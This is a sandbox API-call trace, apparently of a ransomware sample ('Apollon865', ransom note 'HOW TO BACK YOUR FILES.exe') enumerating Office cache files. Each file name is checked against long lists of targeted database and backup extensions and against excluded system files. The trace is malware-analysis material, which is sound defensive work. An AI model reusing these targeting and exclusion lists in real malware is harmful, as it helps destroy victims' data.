	[0078.998] lstrlenW (lpString="xml") returned 3
	[0078.998] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0078.998] lstrlenW (lpString="$er") returned 3
	[0078.998] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0078.998] lstrlenW (lpString="4dd") returned 3
	[0078.998] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0078.998] lstrlenW (lpString="4dl") returned 3
	[0078.999] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0078.999] lstrlenW (lpString="^^^") returned 3
	[0078.999] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0078.999] lstrlenW (lpString="abs") returned 3
	[0078.999] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0078.999] lstrlenW (lpString="abx") returned 3
	[0078.999] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0078.999] lstrlenW (lpString="accdb") returned 5
	[0078.999] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1
	[0078.999] lstrlenW (lpString="accdc") returned 5
	[0078.999] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1
	[0078.999] lstrlenW (lpString="accde") returned 5
	[0078.999] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1
	[0078.999] lstrlenW (lpString="accdr") returned 5
	[0078.999] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1
	[0078.999] lstrlenW (lpString="accdt") returned 5
	[0078.999] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1
	[0078.999] lstrlenW (lpString="accdw") returned 5
	[0078.999] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1
	[0078.999] lstrlenW (lpString="accft") returned 5
	[0078.999] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1
	[0078.999] lstrlenW (lpString="adb") returned 3
	[0078.999] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.999] lstrlenW (lpString="adb") returned 3
	[0078.999] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.999] lstrlenW (lpString="ade") returned 3
	[0078.999] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0078.999] lstrlenW (lpString="adf") returned 3
	[0078.999] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0078.999] lstrlenW (lpString="adn") returned 3
	[0078.999] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0078.999] lstrlenW (lpString="adp") returned 3
	[0078.999] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0078.999] lstrlenW (lpString="alf") returned 3
	[0078.999] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0078.999] lstrlenW (lpString="ask") returned 3
	[0078.999] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0078.999] lstrlenW (lpString="btr") returned 3
	[0079.000] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0079.000] lstrlenW (lpString="cat") returned 3
	[0079.000] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0079.000] lstrlenW (lpString="cdb") returned 3
	[0079.000] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0079.000] lstrlenW (lpString="ckp") returned 3
	[0079.000] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0079.000] lstrlenW (lpString="cma") returned 3
	[0079.000] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0079.000] lstrlenW (lpString="cpd") returned 3
	[0079.000] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0079.000] lstrlenW (lpString="dacpac") returned 6
	[0079.000] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1
	[0079.000] lstrlenW (lpString="dad") returned 3
	[0079.000] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0079.000] lstrlenW (lpString="dadiagrams") returned 10
	[0079.000] lstrlenW (lpString="daschema") returned 8
	[0079.000] lstrcmpiW (lpString1="rdLR.cab", lpString2="daschema") returned 1
	[0079.000] lstrlenW (lpString="db-journal") returned 10
	[0079.000] lstrlenW (lpString="db-shm") returned 6
	[0079.000] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1
	[0079.000] lstrlenW (lpString="db-wal") returned 6
	[0079.000] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1
	[0079.000] lstrlenW (lpString="dbc") returned 3
	[0079.000] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0079.000] lstrlenW (lpString="dbs") returned 3
	[0079.000] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0079.000] lstrlenW (lpString="dbt") returned 3
	[0079.000] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0079.000] lstrlenW (lpString="dbv") returned 3
	[0079.000] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0079.000] lstrlenW (lpString="dbx") returned 3
	[0079.000] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0079.000] lstrlenW (lpString="dcb") returned 3
	[0079.000] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0079.000] lstrlenW (lpString="dct") returned 3
	[0079.000] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0079.000] lstrlenW (lpString="dcx") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0079.001] lstrlenW (lpString="ddl") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0079.001] lstrlenW (lpString="dlis") returned 4
	[0079.001] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0079.001] lstrlenW (lpString="dp1") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0079.001] lstrlenW (lpString="dqy") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0079.001] lstrlenW (lpString="dsk") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0079.001] lstrlenW (lpString="dsn") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0079.001] lstrlenW (lpString="dtsx") returned 4
	[0079.001] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0079.001] lstrlenW (lpString="dxl") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0079.001] lstrlenW (lpString="eco") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0079.001] lstrlenW (lpString="ecx") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0079.001] lstrlenW (lpString="edb") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0079.001] lstrlenW (lpString="epim") returned 4
	[0079.001] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0079.001] lstrlenW (lpString="fcd") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0079.001] lstrlenW (lpString="fdb") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0079.001] lstrlenW (lpString="fic") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0079.001] lstrlenW (lpString="flexolibrary") returned 12
	[0079.001] lstrlenW (lpString="fm5") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0079.001] lstrlenW (lpString="fmp") returned 3
	[0079.001] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0079.001] lstrlenW (lpString="fmp12") returned 5
	[0079.001] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1
	[0079.001] lstrlenW (lpString="fmpsl") returned 5
	[0079.002] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1
	[0079.002] lstrlenW (lpString="fol") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0079.002] lstrlenW (lpString="fp3") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0079.002] lstrlenW (lpString="fp4") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0079.002] lstrlenW (lpString="fp5") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0079.002] lstrlenW (lpString="fp7") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0079.002] lstrlenW (lpString="fpt") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0079.002] lstrlenW (lpString="frm") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0079.002] lstrlenW (lpString="gdb") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0079.002] lstrlenW (lpString="gdb") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0079.002] lstrlenW (lpString="grdb") returned 4
	[0079.002] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0079.002] lstrlenW (lpString="gwi") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0079.002] lstrlenW (lpString="hdb") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0079.002] lstrlenW (lpString="his") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0079.002] lstrlenW (lpString="ib") returned 2
	[0079.002] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0079.002] lstrlenW (lpString="idb") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0079.002] lstrlenW (lpString="ihx") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0079.002] lstrlenW (lpString="itdb") returned 4
	[0079.002] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0079.002] lstrlenW (lpString="itw") returned 3
	[0079.002] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0079.002] lstrlenW (lpString="jet") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0079.003] lstrlenW (lpString="jtx") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0079.003] lstrlenW (lpString="kdb") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0079.003] lstrlenW (lpString="kexi") returned 4
	[0079.003] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0079.003] lstrlenW (lpString="kexic") returned 5
	[0079.003] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1
	[0079.003] lstrlenW (lpString="kexis") returned 5
	[0079.003] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1
	[0079.003] lstrlenW (lpString="lgc") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0079.003] lstrlenW (lpString="lwx") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0079.003] lstrlenW (lpString="maf") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0079.003] lstrlenW (lpString="maq") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0079.003] lstrlenW (lpString="mar") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0079.003] lstrlenW (lpString="marshal") returned 7
	[0079.003] lstrcmpiW (lpString1="dLR.cab", lpString2="marshal") returned -1
	[0079.003] lstrlenW (lpString="mas") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0079.003] lstrlenW (lpString="mav") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0079.003] lstrlenW (lpString="maw") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0079.003] lstrlenW (lpString="mdbhtml") returned 7
	[0079.003] lstrcmpiW (lpString1="dLR.cab", lpString2="mdbhtml") returned -1
	[0079.003] lstrlenW (lpString="mdn") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0079.003] lstrlenW (lpString="mdt") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0079.003] lstrlenW (lpString="mfd") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0079.003] lstrlenW (lpString="mpd") returned 3
	[0079.003] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0079.004] lstrlenW (lpString="mrg") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0079.004] lstrlenW (lpString="mud") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0079.004] lstrlenW (lpString="mwb") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0079.004] lstrlenW (lpString="myd") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0079.004] lstrlenW (lpString="ndf") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0079.004] lstrlenW (lpString="nnt") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0079.004] lstrlenW (lpString="nrmlib") returned 6
	[0079.004] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1
	[0079.004] lstrlenW (lpString="ns2") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0079.004] lstrlenW (lpString="ns3") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0079.004] lstrlenW (lpString="ns4") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0079.004] lstrlenW (lpString="nsf") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0079.004] lstrlenW (lpString="nv") returned 2
	[0079.004] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0079.004] lstrlenW (lpString="nv2") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0079.004] lstrlenW (lpString="nwdb") returned 4
	[0079.004] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0079.004] lstrlenW (lpString="nyf") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0079.004] lstrlenW (lpString="odb") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0079.004] lstrlenW (lpString="odb") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0079.004] lstrlenW (lpString="oqy") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0079.004] lstrlenW (lpString="ora") returned 3
	[0079.004] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0079.005] lstrlenW (lpString="orx") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0079.005] lstrlenW (lpString="owc") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0079.005] lstrlenW (lpString="p96") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0079.005] lstrlenW (lpString="p97") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0079.005] lstrlenW (lpString="pan") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0079.005] lstrlenW (lpString="pdb") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0079.005] lstrlenW (lpString="pdm") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0079.005] lstrlenW (lpString="pnz") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0079.005] lstrlenW (lpString="qry") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0079.005] lstrlenW (lpString="qvd") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0079.005] lstrlenW (lpString="rbf") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0079.005] lstrlenW (lpString="rctd") returned 4
	[0079.005] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0079.005] lstrlenW (lpString="rod") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0079.005] lstrlenW (lpString="rodx") returned 4
	[0079.005] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0079.005] lstrlenW (lpString="rpd") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0079.005] lstrlenW (lpString="rsd") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0079.005] lstrlenW (lpString="sas7bdat") returned 8
	[0079.005] lstrcmpiW (lpString1="rdLR.cab", lpString2="sas7bdat") returned -1
	[0079.005] lstrlenW (lpString="sbf") returned 3
	[0079.005] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0079.005] lstrlenW (lpString="scx") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0079.006] lstrlenW (lpString="sdb") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0079.006] lstrlenW (lpString="sdc") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0079.006] lstrlenW (lpString="sdf") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0079.006] lstrlenW (lpString="sis") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0079.006] lstrlenW (lpString="spq") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0079.006] lstrlenW (lpString="te") returned 2
	[0079.006] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0079.006] lstrlenW (lpString="teacher") returned 7
	[0079.006] lstrcmpiW (lpString1="dLR.cab", lpString2="teacher") returned -1
	[0079.006] lstrlenW (lpString="tmd") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0079.006] lstrlenW (lpString="tps") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0079.006] lstrlenW (lpString="trc") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0079.006] lstrlenW (lpString="trc") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0079.006] lstrlenW (lpString="trm") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0079.006] lstrlenW (lpString="udb") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0079.006] lstrlenW (lpString="udl") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0079.006] lstrlenW (lpString="usr") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0079.006] lstrlenW (lpString="v12") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0079.006] lstrlenW (lpString="vis") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0079.006] lstrlenW (lpString="vpd") returned 3
	[0079.006] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0079.006] lstrlenW (lpString="vvv") returned 3
	[0079.007] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0079.007] lstrlenW (lpString="wdb") returned 3
	[0079.007] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0079.007] lstrlenW (lpString="wmdb") returned 4
	[0079.007] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0079.007] lstrlenW (lpString="wrk") returned 3
	[0079.007] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0079.007] lstrlenW (lpString="xdb") returned 3
	[0079.007] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0079.007] lstrlenW (lpString="xld") returned 3
	[0079.007] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0079.007] lstrlenW (lpString="xmlff") returned 5
	[0079.007] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1
	[0079.007] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2="Apollon865.txt.exe") returned 1
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2=".") returned 1
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2="..") returned 1
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2="windows") returned 1
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2="bootmgr") returned 1
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2="temp") returned 1
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2="pagefile.sys") returned 1
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2="boot") returned 1
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2="ids.txt") returned 1
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2="ntuser.dat") returned 1
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2="perflogs") returned 1
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2="MSBuild") returned 1
	[0079.007] lstrlenW (lpString="WordMUI.msi") returned 11
	[0079.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0079.007] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="WordMUI.msi" | out: lpString1="WordMUI.msi") returned="WordMUI.msi"
	[0079.007] lstrlenW (lpString="WordMUI.msi") returned 11
	[0079.007] lstrlenW (lpString="Apollon865") returned 10
	[0079.007] lstrcmpiW (lpString1="ordMUI.msi", lpString2="Apollon865") returned 1
	[0079.007] lstrlenW (lpString=".dll") returned 4
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2=".dll") returned 1
	[0079.007] lstrlenW (lpString=".lnk") returned 4
	[0079.007] lstrcmpiW (lpString1="WordMUI.msi", lpString2=".lnk") returned 1
	[0079.007] lstrlenW (lpString=".ini") returned 4
	[0079.008] lstrcmpiW (lpString1="WordMUI.msi", lpString2=".ini") returned 1
	[0079.008] lstrlenW (lpString=".sys") returned 4
	[0079.008] lstrcmpiW (lpString1="WordMUI.msi", lpString2=".sys") returned 1
	[0079.008] lstrlenW (lpString="WordMUI.msi") returned 11
	[0079.008] lstrlenW (lpString="bak") returned 3
	[0079.008] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0079.008] lstrlenW (lpString="ba_") returned 3
	[0079.008] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0079.008] lstrlenW (lpString="dbb") returned 3
	[0079.008] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0079.008] lstrlenW (lpString="vmdk") returned 4
	[0079.008] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0079.008] lstrlenW (lpString="rar") returned 3
	[0079.008] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0079.008] lstrlenW (lpString="zip") returned 3
	[0079.008] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0079.008] lstrlenW (lpString="tgz") returned 3
	[0079.008] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0079.008] lstrlenW (lpString="vbox") returned 4
	[0079.008] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0079.008] lstrlenW (lpString="vdi") returned 3
	[0079.008] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0079.008] lstrlenW (lpString="vhd") returned 3
	[0079.008] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0079.008] lstrlenW (lpString="vhdx") returned 4
	[0079.008] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0079.008] lstrlenW (lpString="avhd") returned 4
	[0079.008] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0079.008] lstrlenW (lpString="db") returned 2
	[0079.008] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0079.008] lstrlenW (lpString="db2") returned 3
	[0079.008] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0079.008] lstrlenW (lpString="db3") returned 3
	[0079.008] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0079.008] lstrlenW (lpString="dbf") returned 3
	[0079.008] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0079.008] lstrlenW (lpString="mdf") returned 3
	[0079.008] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0079.009] lstrlenW (lpString="mdb") returned 3
	[0079.009] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0079.009] lstrlenW (lpString="sql") returned 3
	[0079.009] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0079.009] lstrlenW (lpString="sqlite") returned 6
	[0079.009] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1
	[0079.009] lstrlenW (lpString="sqlite3") returned 7
	[0079.009] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1
	[0079.009] lstrlenW (lpString="sqlitedb") returned 8
	[0079.009] lstrcmpiW (lpString1="dMUI.msi", lpString2="sqlitedb") returned -1
	[0079.009] lstrlenW (lpString="xml") returned 3
	[0079.009] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0079.009] lstrlenW (lpString="$er") returned 3
	[0079.009] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0079.009] lstrlenW (lpString="4dd") returned 3
	[0079.009] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0079.009] lstrlenW (lpString="4dl") returned 3
	[0079.009] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0079.009] lstrlenW (lpString="^^^") returned 3
	[0079.009] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0079.009] lstrlenW (lpString="abs") returned 3
	[0079.009] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0079.009] lstrlenW (lpString="abx") returned 3
	[0079.009] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0079.009] lstrlenW (lpString="accdb") returned 5
	[0079.009] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1
	[0079.009] lstrlenW (lpString="accdc") returned 5
	[0079.009] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1
	[0079.009] lstrlenW (lpString="accde") returned 5
	[0079.009] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1
	[0079.009] lstrlenW (lpString="accdr") returned 5
	[0079.009] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1
	[0079.009] lstrlenW (lpString="accdt") returned 5
	[0079.009] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1
	[0079.009] lstrlenW (lpString="accdw") returned 5
	[0079.009] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1
	[0079.010] lstrlenW (lpString="accft") returned 5
	[0079.010] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1
	[0079.010] lstrlenW (lpString="adb") returned 3
	[0079.010] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0079.010] lstrlenW (lpString="adb") returned 3
	[0079.010] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0079.010] lstrlenW (lpString="ade") returned 3
	[0079.010] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0079.010] lstrlenW (lpString="adf") returned 3
	[0079.010] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0079.010] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0079.010] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0079.010] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0079.010] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="WordMUI.xml" | out: lpString1="WordMUI.xml") returned="WordMUI.xml"
	[0079.010] lstrlenW (lpString="WordMUI.xml") returned 11
	[0079.010] lstrlenW (lpString="Apollon865") returned 10
	[0079.010] lstrcmpiW (lpString1="ordMUI.xml", lpString2="Apollon865") returned 1
	[0079.010] lstrlenW (lpString=".dll") returned 4
